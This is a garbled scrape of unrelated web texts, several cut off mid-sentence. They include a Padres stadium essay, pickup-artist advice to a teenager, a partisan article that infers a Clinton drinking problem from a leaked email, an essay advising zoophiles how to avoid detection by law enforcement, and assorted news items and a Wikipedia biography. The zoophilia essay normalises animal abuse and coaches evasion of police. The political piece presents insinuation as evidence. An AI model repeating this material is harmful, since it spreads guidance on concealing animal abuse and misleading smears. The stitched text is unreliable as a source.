You didn’t hear that familiar bullshit we all love, still plugging loose coins into the slot because even though the machine does nothing but swallow cash you just never fucking know, and all those old hopes are still stuck in there, maybe. Only for the Padres this season we pretty much did know—other than promoting Jedd Gyorko and his promising bat to replace the gimpy, whipped O-Dog at second, the new O’Malley ownership group spent the off-season flopping-out their collectively bare pockets, making aw-shucks claims to poverty and holding pat on the same overmatched lineup and bottom-of-the-rotation rotation that slogged through an also-ran bump along the bottom of the league in 2012.
What is entirely new in San Diego this spring and summer is the fatalistic sense of resignation, the feeling that we’ve lost something we’ll never get back. After the city invested over $300 million in public money to build Petco Park, the home team has been dismantled and retooled—not as one of those boom and bust “rebuilding” projects where blooming stars are perpetually sold off, but rather as a streamlined private enterprise built to correct for the one variable outside organizational control: winning.
***
Approaching the industrial façade of the Western Metal Building, we hurry across Tony Gwynn Boulevard and pass beneath the sky bridge connecting the Omni Hotel to Petco’s upper concourse. We haven’t sunk all the way into the no-chance gulch of late, but are far enough on the downslope of on-time that our spot in the parade remains very much in question.
There are, however, hundreds and hundreds of young girls still clustered off the sidewalk, separated from the passing traffic by a strip of crime scene tape. We slip into the crowd of parents and players and join the wait. Ten, twenty, thirty minutes pass—God only knows how long the girls who showed up early have been standing in the street. A voice from a loudspeaker occasionally thanks everyone for their patience, promising that the youth players will be directed to the entrance as soon as possible. Meanwhile, traffic cops whistle and gesture at the close-passing cars, blue-jacketed security personnel mill around the taped barrier, and from time to time the girls look overhead as fans decked out in SF regalia stroll from the sky bridge into the stadium.
The story truly begins here at the ballpark, a sandstone hitch of public and private interests. Or, to quote what was once a ubiquitous campaign slogan, More than a ballpark. This was 1998: then team president (and current Red Sox CEO and part-owner) Larry Lucchino relentlessly worked the local airwaves and buffet circuits, stumping for a city-funded, baseball-only stadium. Owner John Moores had a legitimate gripe with the team’s lease at Qualcomm Stadium—as the site’s “senior” tenant, Alex Spanos and the Chargers pocketed an undue percentage of the revenue from concession rights, luxury boxes, and in-stadium advertising. But a dispute between two outrageously wealthy men over the profit share of a $9 Miller Lite doesn’t exactly fire up grassroots support. So Lucchino stressed the emotional angle, branding the Padres as a priceless community asset.
A Big League source of local pride and identity. A countywide economic force, providing a recognizable logo for the selling of merchandise and the soliciting of business sponsorships. Free entertainment to enjoy on the radio or the big screen, downstream revenues resulting from residents opening their wallets for summer barbecues and happy hours while gathered to cheer the home team.
Buzzing with World Series endorphins and smitten with a badass roster—Gwynn, Caminiti, Hoffman, Vaughn, Finley, Brown, a collection of flat-out ballplayers—the county’s voters responded with a resounding 'yes' vote. If there had been a “hell yeah!” on the ballot, it would've carried easily. In line outside the stadium, in a city with problems beyond a team not letting a bunch of youth players in for their photo-ops when it had said it would, there was also inescapably that: we chose this, and paid for it.
***
A few quick words about America’s Finest City. Yes, Sea World and Legoland are slick and profitable operations; neither is locally owned. Yes, wildly successful individuals from all over the world maintain homes in our beach communities. But as a whole, the city of San Diego very rarely has its shit together. We’re never quite sure if we’re bankrupt or not; though dubbed “Enron-By-The Sea,” the answer is—by a hair, and for the moment—either no or not yet. We struggle with basic road maintenance. We’ve been shamed by a regular cycle of corruption scandals—conspiracies that tend to be shocking not for their betrayals but for how remarkably cheaply our politicians peddle their favors.
But even its missteps reveal San Diego as a city of American Dreamers. This is not the gaudy Hollywood fairy tale or the incomprehensible bit-wealth of Silicon Valley, just the common dream that a commitment to dogged hustle might tip the scales from failure to success. This is a military city, where families across multiple branches deal with the risk of death as a path to upward mobility. We’re a border town, too, where even the prospect of the sweatiest, most repetitive jobs—and we have those—is enough to motivate a desperate canyon dash. We’re a city that celebrates Ray Kroc and Robert O. Peterson and Ralph Rubio, men who built empires out of rolled-sleeves and humble ingredients, founding fathers of towering achievement but a certain obvious distance.
So we’re a city that doesn’t demand NL West dominance—in fact, a homegrown team striving like hell for.500 has typically fit well enough.
Which doesn’t mean the town doesn’t go absolute Beatlemania-bonkers when the Padres do win. During the ‘98 NLDS I broke my couch jumping like a caffeinated orangutan after Jimmy Leyritz hooked a tiebreaking homer off a filthy, locked-in Big Unit, and throughout those same playoffs my (future) wife was part of a whooping collective swoon every time the Jumbotron played a montage of Ken Caminiti slugging shirtless BP to the tune of “Where Have All The Cowboys Gone.”
Though voters may have cast their ballots on emotion, the city, to its credit, played it cool. In a clearheaded and practical bit of maneuvering, San Diego named John Moores and the Padres an “Agent of The City,” tying the ballpark construction to a major downtown redevelopment project. Targeting a dead-end, hot piss section of urban blight, the city required Moores and the Padres to build new hotels surrounding the stadium, with the projected occupancy tax earmarked to pay off the bonds the city would issue to fund its share of the construction. On paper, this was an uncharacteristically savvy legal move: hedging bets and guaranteeing a collateral improvement while insuring that Moores had a vested interest in both the team’s future and the future of the team’s downtown home.
So it was foolproof, provided nothing changed. Or, in other words, something much less than foolproof.
***
“Why do all those signs say keep off the grass?” my daughter asks.
Whether coming to home games at Qualcomm and Petco or visiting Anaheim, L.A., Oakland—any other ballpark—I still experience that oasis moment of awe after leaving behind the concrete hustle and catching first sight of the ballfield. I can’t imagine a more ideal expression of form and content. But though you can pass on your memories and associations, you can’t pass on their significance, and as we’re herded around the dirt inside the foul lines my daughter fingers the crowd control rope and focuses on the signs forbidding anyone from touching the infield.
Like most in the procession, my daughter wears her uniform top – bright Bad News Bears yellow, sponsored by “Healii’s Polynesian Review” (sic) – and the stream of children is notable for both the polychromatic burst of color and the notable absence of Padres blue or brown: no team caps, no SD visors, no Swinging Friar pennants. Some of the girls skip and smile for family in the stands while others kick at the dirt, just as some love to play the game while others have had it forced on them; regardless, all are quickly shuttled from a tunnel in left field to another tunnel in right. More blue-jacketed security guards semaphore the girls up and around a disorienting ramp system, guiding them through an exit that leads outside the opposite wall of the stadium. Dispersing individually, the parade’s participants then line up once again, waiting to re-enter the ballpark through the regular ticket line.
It’s a Saturday, traditionally a night when harried ushers would be elbow-deep in cardboard boxes, handing out the goods for Floppy Hat Night or Friar Clock Night or Eric Owens Dirty Tee-Shirt Night. Even if you missed the premium weekend promotions, throughout the rest of the week there was an equally good chance young ticketholders would walk away with a team freebie: a Timry Flanster button or a Phil Nevin poster or a set of trading cards, the cheap trinkets that buy years of loyalty from younger fans and that fans from the opposing team leave under their seats with their shells and crumple.
As the Padres have increasingly catered to visiting fans, the promotional schedule has skewed accordingly: this season there’s both a Beerfest and a Wine Fest, multiple fireworks nights and retro nights, but only one promotion tied to an individual player–Chase Headley Bobblehead Night, prudently scheduled for April. On this particular Saturday, we hand over our tickets and get back the stubs.
What changed?
Though clear-headed and practical, San Diego’s arrangement with Moores and the Padres failed to account for the inevitability of change. As the ballpark initiative underwent routine judicial scrutiny, Moores became embroiled in the sort of brazen, craven, totally artless scandal that has defined San Diego politics. Even if you're not up on it, you can probably sing along: he was found to have provided gifts, airline tickets, and stock tips to a family friend who was also an influential city council member. The grand total at play amounted to roughly the blue book value of a low-mileage Passat, but the resulting legal mess led to years of court challenges and construction delays that – according to Moores, and more Shades Of San Diego here in a rich man's weepy victimhood – cost the Padres $52 million in lost ballpark and hotel revenue. Not only did that ungrateful blindside permanently sour Moores’ view of his partner city, Moores’ wife then filed for divorce, changing the way he viewed his own assets (contentiously).
And then, worldwide, the economic shit hit the fan. As tourist dollars vaporized and occupancy rates plummeted, all of a sudden San Diego was tied to a development partner with a complicated financial interest in the Omni Hotel, the Hotel Solamar, and several projects still waiting to get off the ground. That, and pretty much no interest whatsoever in the money-sucking, litigious community asset grounding into inning-ending double plays next door.
***
Before taking our seats, I buy my daughter a slice of cheese pizza and for a treat she chooses a tub of popcorn that looks like it’ll last forever. One of her teammates goes to the souvenir stand and comes back with a balloon penguin. They all dance when the sound-system pumps that one Taio Cruz song that ought to be scheduled as a controlled substance. Only four (of ten) girls from her team came to Petco for their parade, and those four attend three different elementary schools. Though there are over 100 first-graders at my daughter’s school, just two other girls signed up for softball.
In the top of the second, the crowd leaps to its feet with an electric roar after Brandon Crawford deposits a three-run bomb a few rows from us in the right field bleachers. My daughter’s perplexed: having grown up in my lap through the highs and lows of Oregon Duck and Chargers football, even when she doesn’t understand the action on the field she knows how to read the crowd and react in kind. She wants to clap and make noise too, but she also knows without a doubt that Crawford’s on the wrong team.
The glut of San Francisco supporters isn’t a post-World Series bandwagon – within the division, the Rockies are the only team whose fans don’t regularly overtake Petco's home crowd as a partisan majority. And it’s not just neighboring or division clubs: the Cardinals, Reds, and Phillies turn the Petco stands into a sea of red, and during a Cubs series the concourse becomes a virtual Waveland of Banks and Sandberg jerseys.
And if the road team doesn’t deliver fans, Petco doesn’t draw. An April home stand with the Brewers brought a paid attendance of just over 18,000 per game, while a May series with the Marlins |
photos don’t look like they’ve been taken with a mobile phone but most certainly let some point-and-shoots’ image qulity look old.
This obviously reflects in the site stats of the world’s most popular photo sharing website.
Article Via MacStories
Photo Credit: Shota Mitsuyasu via iDeskI’m not sure if the subject of women complimenting men has been covered before at CH, but it’s worth revisiting even so. Reader NorthWestBest asks,
I was wondering how you would accept compliments from a woman? When a woman says, “you’re cute” or “nice shorts, are those new?” or some other bullshit like that, what should I say back in order for her to have the most desirable image for myself. Ill let you know I have no lack of confidence, I will say what ever comes to my mind, but I was hoping you had something clutch to say (you usually do). Also this is just for casual at school interactions where I’m not trying to pick here up (at this specific time) but I’m definitely trying to form a desirable image for future interactions. Also if convenient you should post some more articles on things to say/do with little amounts of time, because I’m in high school and as you probably know already, you don’t have very much one on one time with the women, or a lot of time at all. So thanks in advance if you respond to this.
The CH lesson is always, ALWAYS, supremacy of attitude over execution. If you possess the alpha attitude, the sexy words will fall into place.
Given that axiom, the right attitude to have when a girl compliments you is: yeah, I get this a lot. Act like you’ve heard it before. If you act instead like an excited boy who can’t believe his ears, then the girl will retroactively wonder if you were worth her compliment.
In my experience, the best way to accept compliments from women is
“Thanks”
I’m not being glib. That is often the best response to a girl complimenting you. Say it calmly without effusive gratitude. A flash of smile is the perfect accessory.
That’s how a confident man would respond to being complimented by a woman. He wouldn’t self-efface or doubt the girl’s sincerity or argue with her opinion. A simple ‘thanks’ goes a long way to avoiding any impression that you’re parched for female flattery.
If the context is one in which gaming her is possible, and you want to enrich the conversation beyond ‘thanks’, then you could tease her.
SWEET TEEN GIRL: “nice shorts, are those new?”
HIGH SCHOOL HO MAGNET: “sure. don’t forget to check them out from the back.” [turn around like you’re modeling your butt for her]
Teasing is fun and girls just wanna have fun. Good teasing, like the above, has an element of ‘assuming the sale’. Chicks dig pre-sold men.
UPDATE
As a commenter mentioned, don’t lob a return compliment after a girl compliments you. Girls love men who can accept their compliments without feeling an obligation to answer in kind. Betas tend to do this a lot, because they aren’t comfortably narcissistic enough to accept flattery without feeling unworthy of it.The latest dump by WikiLeaks, which has been releasing hacked emails obtained from the account of Democrat presidential nominee Hillary Clinton campaign chair John Podesta, included a statement so shocking that it could conceivably paralyze the nominee’s whole campaign.
“I think you should call her and sober her up some,” read the WikiLeaks email, sent by campaign communications director Jennifer Palmieri to Podesta on Aug. 8 of last year.
The message was a reply to an email Podesta had sent Palmieri earlier in the day
“Should I call her and talk this through or better to leave with you?” Podesta had written at 1:55 pm. “I’m worried she’ll get on with Cheryl and we’ll end up in a bad place. I’m in a session that lasts till 3:30 your time. Is that timely or should I walk out?”
Was was unclear was why Clinton needed to be sobered up so early in the day. Had she been consuming certain medications that had left her woozy? Had she been puffing marijuana joints? Had she been drinking booze?
Or was she simply not taking the situation seriously — whatever it was — and needed to be made to understood reality, i.e., was “sobered up” being used metaphorically?
It was known that the Democrat nominee had a penchant for drinking while on the campaign trail.
“She likes to drink,” Amy Chozick, national political reporter for the The New York Times, told ABC News in February of 2015, six months before the email was sent. “We were on the campaign trail in 2008 and the press thought she was just taking shots to pander to voters in Pennsylvania. Um, no.”
Additionally, earlier this month Chozick issued a tweet from Clinton’s campaign plane claiming that the nominee wanted to take off immediately “so we can have some drinks served.”
“We need to take off so we can have some drinks served,” Hillary says on her campaign plane https://t.co/XrZsEHOXwb — Amy Chozick (@amychozick) October 10, 2016
Clinton may suffer from a drinking problem — certainly, heavy drinking while campaigning for president would indeed be a problem.
The follow video offers even more evidence of the nominee’s unhealthy habit:
What Clinton’s problem is not is something shared by her opponent, GOP nominee Donald Trump, who reportedly has never once consumed alcohol. He seemingly prefers dealing with life (and campaign issues) with a clear head. It will be interesting to see how these new revelations alter the American people’s perception of the presidential nominees. Assuming they would rather not be led by a drunk, it seems possible Clinton’s poll numbers may be in store for a downward slide. Like Us On Facebook – USA Liberty News Please share this story on Facebook and Twitter and let us know what you think about Hillary Clinton’s drinking problem!
What do you think about Hillary’s unhealthy habits? Scroll down to comment below!
Source: conservativetribune.com
H/T WNDYou are generally fairly safe. Don't go giving out personal information (ie your name, your exact location, birthday, intimate things like that), which is generally good internet practice no matter what your sexual preference.
Learn to communicate. Don't be a weirdo! If you can't have civil conversation, don't have conversation at all. Don't 'ragequit' halfway through a chat. This is far more important in near anyone's eyes than your zoophilia.
Don't publish evidence of your acts online. This is so basic, and it astonishes me how many people just publish their naked butts conjoined with those of dogs willy-nilly, but just don't do it.
Just be smart. Don't be a loon. The way you present yourself, and the ways in which you don't, are going to mandate your security far better than your use of Tor or the toughness of your online passwords. Not only will presenting yourself well keep you safer, but in time, as we start to come out of the dark recesses of the internet and into the public eye where, if justice were ever to prevail, we ought to be, you and all of us will be in better shape.
Recently I've been having more and more conversations with a wider variety of zoophiles, and of course as we're coming more out of the woodwork, and more of us are caring less and less about our privacy as the internet becomes more ingrained into our lives, the conversation of what is and is not good secure online practice came up frequently. This especially arose when discussing organizing for things such as help groups or more public interface. The different risks towards zoophiles who are expressing themselves online are, I would say, twofold, with one of these risks divided into two parts.The first risk is the most obvious and the most universal: Other people, and our social lives. The individuals with whom we share our local and global communities can make our lives hell for us. I have heard of people who have been fired from their jobs on account of a word-of-mouth report from a stranger. This happens particularly those in certain states of the US that allow such employment practices. That having been said, there is nothing stopping someone from doing the same to you even if you are not sexually active with animals, or even a zoophile at all; this gossip is given and acted upon without any evidence at all, so the general security rule to avoid this sort of thing is to. If you're going to be talking about your zoophilia outside of zoophilic circles, make sure it's with people that you can likely trust to be mature about it, even if they aren't entirely accepting, and work on your social skills! I have never had anyone respond negatively to my paraphilia because, if I might say so myself, I am a good speaker, an even better writer, and I know how to put my opinions and facts forward without making people too grouchy with me — or at least, if they are, they don't feel so empowered that they might strive to exercise that power in harming me.The second risk is, as I said, twofold, but rather because one part is the imagined risk, and one is not. The imagined risk is in the law of the land, which has always been incredibly stringent by word against zoophiles. The days are gone when we were hanged along with our lovers, but there are still places in the first world in which the maximum sentence for intercourse with an animal is life. Simply saying so on the internet would technically be enough for an investigation, but here's the issue: some studies have the rate as high as 30% for people who have sexual interactions with an animal at some point in their lives, and of course the internet is rife with furries saying they'd like to have sex with animals, wish they had the guts to play with the family dog, real zoophiles quietly discussing these things amongst themselves, and naturally trolls acting as if they do it just for the laughs. It's chaos here and no one has time to go for the small fish.What are the big fish, then? Well, in every single news article I've ever seen, there has been visual confirmed evidence of the investigated and tried 'bestialist' having sexual intercourse with an animal — that is, no one has ever been investigated and tried simply for discussing these things on the internet. Even if someone is already being noticed by law enforcement, they don't make a move until said person of interest posts an image of them spreading their female dog's vagina, or a film with his member in a mare. In one instance, an individual was only investigated because they were posting (and eventually following through with) Craigslist ads through which they were looking for a horse to have intercourse with. Of course, the ones who eventually answered and had to deal with their very explicit phone calls, and then meet up with this individual after they drove halfway across the country to see them, were the police.And it doesn't particularly matter if it's legal in your state. If you create and publish this media, and then move elsewhere, yes, you did not technically break the law, but you have just given anyone who would like to know visual confirmation that you ought to be watched by anyone who might want to catch them some evil bestialists.I don't want to go too long on this, but in conclusion, I just want to confirm:INDIANAPOLIS, Ind. (Jan. 3, 2014)– A suspended Greenwood police officer did not fulfill his agreement with a Johnson County judge.
A source tells FOX59 News that suspended Greenwood Police officer Joey Rodriguez did not enter an alcohol rehabilitation program Thursday, after he promised a Johnson County judge he would.
Rodriguez was arrested after a New Year’s Eve brawl that injured several people, including two police officers.
As part of Rodriguez’ agreement to be released from the Johnson County jail, the officer said he would seek alcohol treatment.
The Greenwood Police Merit Board meets at 4 p.m. on Monday.
He has until then to resign, or he will be fired.
As part of his agreement, Rodriguez was also ordered to have no contact with any of the people he fought with at the New Year’s Eve party.In response, King persuaded his colleagues to pass the Protect Interstate Commerce Act (also known as the King amendment) as part of the House version of the U.S. farm bill. It prohibits states from enacting any laws that set standards for agricultural production that exceed those in other states governing the same production. But the amendment is misguided and overly broad, and it does far more than release egg farmers in one state from having to follow the stricter rules of another state in which they do business. Animal welfare advocates, state legislators and some legal experts say it will also invalidate hundreds of state laws on animal protection, food safety and even labor welfare. Many of these laws have been on the books for years, their constitutionality accepted and unchallenged. Or, if they have been challenged, they have survived.The number of fish in our oceans will be outweighed by plastic waste over the next 35 years, according to a new report from the World Economic Forum (WEF). The announcement comes after a pretty bleak week for news, during which scientists told us all the aliens are probably dead, and South Africa moved closer to lifting its ban on domestic rhino horn trade.
The report revealed that almost a third of all the plastic we produce "leaks" into the environment, mostly ending up in our oceans, where it'll probably be eaten by wildlife or will eventually make its way into a great floating garbage patch.
The (sorta) good news is that it was released to coincide with the WEF meeting in Davos, Switzerland, where the organisation will be calling on more recycling and better solutions to the 'plastic problem'.
The WEF put the report together after analysing around 200 studies and speaking to 180 experts, and are going to use it to guide their discussions going forward.
What's perhaps most shocking is that, despite our attempts to cut down on plastic bags and invest in tupperware, our plastic use is still going up.
We're now making 20 times more plastic than we were 50 years ago - mostly for packaging - and that production is expected to double again in the next 20 years. "By 2050, we’ll be making more than three times as much plastic stuff as we did in 2014," Sarah Kaplan writes for The Washington Post.
If that sounds bad, it's because it is - 95 percent of that plastic is thrown out after being used just once. And even though 14 percent of that waste is recycled, the rest either ends up in landfill or is tossed on the streets, before eventually making its way into our oceans.
All that equates to at least 8 million tonnes of plastic, or one garbage truck-full every minute, ending up in our oceans each year.
"If no action is taken, this is expected to increase to two [truck-fulls] per minute by 2030 and four per minute by 2050," the report said. "In a business-as-usual scenario, the ocean is expected to contain one tonne of plastic for every 3 tonnes of fish by 2025, and by 2050, more plastics than fish."
And it's not just the oceans that are suffering, as Kaplan reports:
"Plastic production accounts for 6 percent of global oil consumption (a number that will hit 20 percent in 2050) and 1 percent of the global carbon budget (the maximum amount of emissions the world can produce to prevent global temperatures from rising more than 2 degrees Celsius)."
So what can we do about it? That's something the WEF meeting will aim to tackle. But the one thing that's clear is that plastic is integral to so many different industries and parts of life, that there's not going to be a quick fix.
"To move from insight to large-scale action, it is clear that no one actor can work on this alone," said Dominic Waughray from the WEF. "The public, private sector and civil society all need to mobilise to capture the opportunity of the new circular plastics economy."
There are signs that this is starting to happen. Already the US is making moves to ban plastic microbeads - which wash straight out into our oceans - from soaps and bodywashes, and independent entrepreneurs are working hard to find alternatives to single-use packaging.
Let's hope that this latest report serves as enough of a warning sign to kickstart broader action.For the television writer with the same name, see Sanford Jay Frank
Sandy Frank (born Sundel Francous on July 11, 1929) is an American television producer, distributor, and marketer of TV shows to US networks.
Early life and career [ edit ]
Frank grew up in Mount Kisco, New York. His birth name is Sundel Francous, which he changed to Sandy Frank for marketing purposes, then Sonny Frank when he moved to Florida[citation needed].
Frank started his career as a sales executive for Paramount Pictures, subsequently moving on to Guild Films, and NBC television. Later, he was Senior Vice President of Worldwide Sales with the television division of the Wrather Corporation, which produced and distributed the Lassie and Lone Ranger TV programs.
In 1964, he opened Sandy Frank Program Sales Inc. as his first company. His first distribution successes were You Asked For It and Lassie, which he had acquired the rights for from the Wrather Corp.[2]
Sandy Frank Entertainment [ edit ]
Among the programs Frank's company produced or distributed were Name That Tune (1984–1985), Face the Music (1980–1981), The New Treasure Hunt (1973–1977), The Bobby Vinton Show (1975–1978), The Bill Cosby Show (1969–1971), The Dating Game (1973–1974), and Lee Mendelson's Superstar Specials.
Sandy Frank later produced and distributed Name That Tune[3] and Battle of the Planets. Frank was also the leading distributor of travel adventure shows including America, High and Wild, Across the Seven Seas, The Traveler, and American West.
The company obtained rights and provided English dubbing for the entire line of Daiei Film monster movies c. 1966. However, due to the constraints of airing in the then-new UHF television "movie of the week" format, the English versions are substantially shortened from the Japanese originals. Many of these films have now lapsed to the public domain.[4]
In 1972 the cover of Broadcasting read: "Sandy Frank Film Syndication, Inc. sets a new syndication sales record with The Parent Game: 125 markets sold in just 100 days of selling."[5]
Battle of the Planets [ edit ]
In April 1977 Frank attended the MIP-TV conference in Cannes. It was here Frank first encountered the Japanese animation Science Ninja Team Gatchaman from producer Tatsunoko Production run by the Yoshida brothers.[2] Frank committed to release the series in the U.S. after he saw the success of Star Wars in May 1977.[6] Battle of the Planets is the title of the American adaptation of this series, created by Frank. He authorized new footage and hired writers to add dialog to fit the look of the animation, without reference to original scripts.[6] Of the 105 original Science Ninja Team Gatchaman episodes, 85 were used in the Battle of the Planets adaptation produced by Sandy Frank Entertainment in 1978.
Mystery Science Theater 3000 [ edit ]
Frank's company is also well known for its films’ frequent appearances on Mystery Science Theater 3000, where some of the company's dubs of Japanese films were lampooned, including in a song titled "The Sandy Frank Song".[7]
Later career [ edit ]
In 2000, NATPE, the professional organization of television program executives, featured Frank in the video The Legends of Syndication, an overview of the history of syndicated media selling.[8]
Frank formed alliances in 2011 with a number of companies such as The Asylum in the USA and Sony in other countries. SFE has marketed Dangerous Minds (hosted by Rudy Giuliani) for Primetime Network, You Asked for It for Prime Time Network, and Face the Music which is being re-launched in a new prime time version.
Film tax credit suit [ edit ]
In 2011 Frank filed suit against the denial of a tax credit to his production under Michigan's system of offering of up to 42% tax credits for the production of films in Michigan. The films supported are subject to restrictions such as that Michigan residents must be portrayed in a positive way, and game shows are not supported. Frank described his show as a reality show about the making of a game show and said that he made commitments of $350,000 after being told by state officials that his show would qualify for the credit, which was denied in 2009. The lawsuit claimed the restrictions were enforced arbitrarily, as other shows about competitions, including Crash Course and The Wedding Day, had received state support, as had potentially negative depictions in Hung, A Very Harold & Kumar 3D Christmas, and Up In The Air. According to The Hollywood Reporter, Sandy Frank Productions claimed "violations of Michigan's film tax credit law, Michigan's administrative procedures act, unjust enrichment, breach of contract, fraud, misrepresentation, and violation of equal protection and due process under the 14th Amendment to the U.S. Constitution."[9][10][11][12] A federal district court judge dismissed the complaint on January 4, 2012.[12]Image copyright Michelle Shephard Image caption The bug meant that, in one case, a prisoner was released almost two years early
More than 3,200 US prisoners have been released early because of a software glitch.
The bug miscalculated the sentence reductions prisoners in Washington state had received for good behaviour.
It was introduced in 2002 as part of an update that followed a court ruling about applying good behaviour credits.
State officials said that many early-release prisoners would have to return to jail to finish their sentences.
"That this problem was allowed to continue for 13 years is deeply disappointing to me, totally unacceptable and, frankly, maddening," said Washington's governor Jay Inslee at a press conference.
The Washington Department of Corrections (DoC) added that it was made aware of the problem in 2012 when the family of one victim found out that the offender was getting out too early.
Despite this, the faulty software was not corrected until a new IT boss for the DoC was appointed, who realised how serious the problem had become.
The manager then informed senior staff at the DoC and the governor's office.
Analysis of the errors showed that, on average, prisoners whose sentences were wrongly calculated got out 49 days early. One prisoner had his sentence cut by 600 days. It is not known if any offender committed further crimes after being released prematurely.
Local police are now helping to round up those who still need to spend time in jail. Five people have already been returned to cells.
Mr Inslee said he had ordered the DoC to fix the software as quickly as possible.
An update that applies the correct formula for calculating sentence cuts is due to be in place by 7 January. Until then the DoC has been ordered not to release any prisoner without checking manually that they should be released.
An independent investigation has also been started to find out how the mistake was left uncorrected for so long.A suspected impaired driver who was shot and wounded by Alberta Mounties has been identified as a regular character on the Canadian reality TV show Mantracker.
A relative said Friday that Curtis Hallock was shot in the leg and arm and was to have surgery in hospital.
RCMP have released few details about the shooting, but they have said two officers were trying to pull over a vehicle on Thursday night in Grande Cache. A confrontation ensued and a man was shot.
RCMP say two officers were trying to pull over a vehicle when Curtis Hallock was shot. (Vimeo)
He fled, but was caught a short time later and taken to the local hospital.
Mantracker airs on the Outdoor Life Network (OLN) and features an expert tracker and his sidekick on horseback who pursue two contestants in the remote wilderness.
The show's website describes Hallock as "the horse whisperer," a mountain guide in his mid-30s who has lived off the land near Grande Cache, on the northern edge of Jasper National Park, his entire life.
"Grizzly bear encounters and raging river crossings on horseback are nothing new to this Native horseman," the site says.
"He cares for a herd of horses that roam free in the area and he considers the rugged wilderness and dense bush his own backyard."
The Alberta Serious Incident Response Team is investigating the shooting. ASIRT reviews events or complaints that involve serious injury or death involving police officers.CASTRO VALLEY (KCBS) – A traffic stop of a driver talking on his cellphone uncovered a big East Bay drug haul over the weekend. Investigators said this shows the underground marijuana market is still lucrative despite legalization.
The California Highway Patrol said an officer spotted a man talking on his phone on Interstate 580 near Castro Valley on Saturday. As he tried to pull the driver over, he was cut off by a sedan, which was trying to distract the officer.
Both drivers were stopped and officers found over 200 pounds of marijuana between the two vehicles. That traffic stop led to two storage units in Alameda, where investigators found another 100 pounds of pot, grow equipment and over $1 million stashed in a suitcase.
“So basically a car stop for a cellphone violation led to the recovery of 325 pounds of marijuana, $1,030,000 and on top of that some marijuana equipment,” Alameda County Sheriff’s spokesperson Ray Kelly told KCBS.
The names of the two suspects are not being released yet but they’re believed to be connected to a larger network.
“Marijuana continues to be a very, very lucrative business,” Kelly said.The two new vaccines are improved versions of an older one that was licensed to Merck and is now being tested for efficacy in people in Liberia. The older vaccine can cause unpleasant side effects like fever and pain in joints and muscles. (Another vaccine, licensed to GlaxoSmithKline, is also being tested in West Africa, and has not had serious side effects.)
The side effects of the vaccine licensed to Merck were not considered serious enough to block its use. But they could pose problems during an outbreak because they resemble early symptoms of Ebola, so patients with a fever soon after vaccination might have to be tested or even quarantined until it was determined whether they were infected or just having a reaction to the shot.
Image Thomas W. Geisbert, an Ebola expert at the University of Texas Medical Branch in Galveston, in his office. Credit Michael Stravato for The New York Times
“I think these improved vaccines should fix that,” Dr. Geisbert said in an email.
The two newer vaccines are being made by Profectus BioSciences. The company’s chief scientific officer, John Eldridge, said the company had received $55 million in recent months to work on Ebola vaccines from a consortium of government agencies that includes the National Institutes of Health and the Department of Defense. He said that Profectus was also working on another vaccine that would protect people against several strains of Ebola as well as Marburg, a related virus. None of the vaccines is likely to be approved much before 2017, he said.
Several authors of the Nature report are scientists employed by Profectus. The study described in the report was paid for by the National Institutes of Health and the University of Texas Medical Branch.
The Merck and Profectus Ebola vaccines are made from vesicular stomatitis virus, or V.S.V., which causes a mouth disease in cattle but rarely infects people. Profectus specializes in vaccines based on V.S.V.Edith's Streets
This blog records notes about London (and Greater London) streets - what the buildings are, what the background is. These pages have been compiled over many years and from many sources - its not intended to copy from other people's work.
Each post represents a square on the Ordnance Survey grid -and the vast majority of information is culled from map based source material - Ordnance Survey, A/Z, etc.
On some inner city squares only a quarter of each square is done because of the volume of material involved
Please add your comments and corrections - I am sure there are lots of mistakes - and my idea is to build up a correct record interactively
Red- it is (hopefully) there now
Blue - its interesting but its gone
No colour, same as the text - don't know. needs to be verifiedA SEATTLE couple was left spooked when they returned to their apartment to find it trashed in mysterious ways — but nothing missing.
When Brian and Bridget O’Niell came home on Wednesday, they found lotion smeared all over their doorknobs, their junk mail torn open, and a can of paint overturned in their toilet, according to Vocativ.
Bridget O’Niell’s clothes were also strewn all over, and the couple’s electronics had been piled high on top of their bed. Strangest of all, the soles of their shoes and boots had all been removed.
When police came to investigate, they were confused to discover nothing had been stolen. However, they did find a purse belonging to a 27-year-old woman.
“We didn’t feel threatened, but we were somewhat disturbed,” Brian O’Niell said. “It was a really weird experience.”
It wasn’t until the couple started cleaning the mess that the chilling truth came out.
Brian O’Niell moved the bed slightly and something stirred underneath. “It was a noise coming from something alive,” he said. “It sounded like a dying possum or raccoon.”
When the noise became louder — along with the sound of fierce scratching — they couple fled the apartment and called the police again.
Officers went inside and emerged minutes later with a gangly, wild-eyed woman who had apparently spent the last two hours hiding under the bed.
“When I saw that it was a woman, my reality suddenly kind of shifted,” Brian O’Neill said. “My wife pretty much collapsed on the stairwell.”
The woman — standing at about 170cm, and weighing an estimated 40kg — reportedly told authorities she had been on a “meth rampage” for several days.
Faces of drug addiction 2:56 Rehabs.com have released a video that shows the tragic downfall of several healthy men and women after addiction to hardcore drugs. Courtesy Rehabs.com
Even more terrifying, the couple later discovered a hypodermic needle in their sheets and a large kitchen knife under the bed.
“Rather than use the knife to pop out and murder us, she was using the knife to deconstruct the box springs of the bed,” Bridget O’Neill said. “Honestly, I feel kind of bad for her. This woman was so tiny and not together, it’s hard to be mad.
“If you describe yourself as being on a meth rampage, you’re probably in bad shape. I feel like regular old meth is bad enough.”Hey everybody. A while ago I posted a blog post about how we use Google Analytics to track how our readership is doing, and specifically how to track how ads we’ve purchased are faring. Since then, I’ve had some discussions with people about successful promotion ideas (tumblr? Ads? Skywrite your URL?!), and even wrote up some thoughts on a reddit thread about it, which has left me wanting to put all my thoughts together nicely in a blog post of my own. Bear with me, I’m going into details about numbers and stuff again, as I try to talk about ways to promote your comic and increase readership, for FREE!
If you make any creative endeavor and post it online, you often start off thinking that just by sheer virtue of how good it is, how much thought and care and effort you’ve put into it, everyone should like it and it should magically go viral and get popular. While sometimes that happens, normally it doesn’t. There is SO much content out there already that you normally have to put a lot of work into promoting your stuff and getting the attention out. I am by no means an expert, but I have been working at promoting my own work for years now, and I’d like to think I’ve been decently successful at accruing a decently sized audience. I’m going to share several of the FREE things I’ve done, in no real particular order, besides MAYBE a little bit of simple to complicated.
1. Social Media:
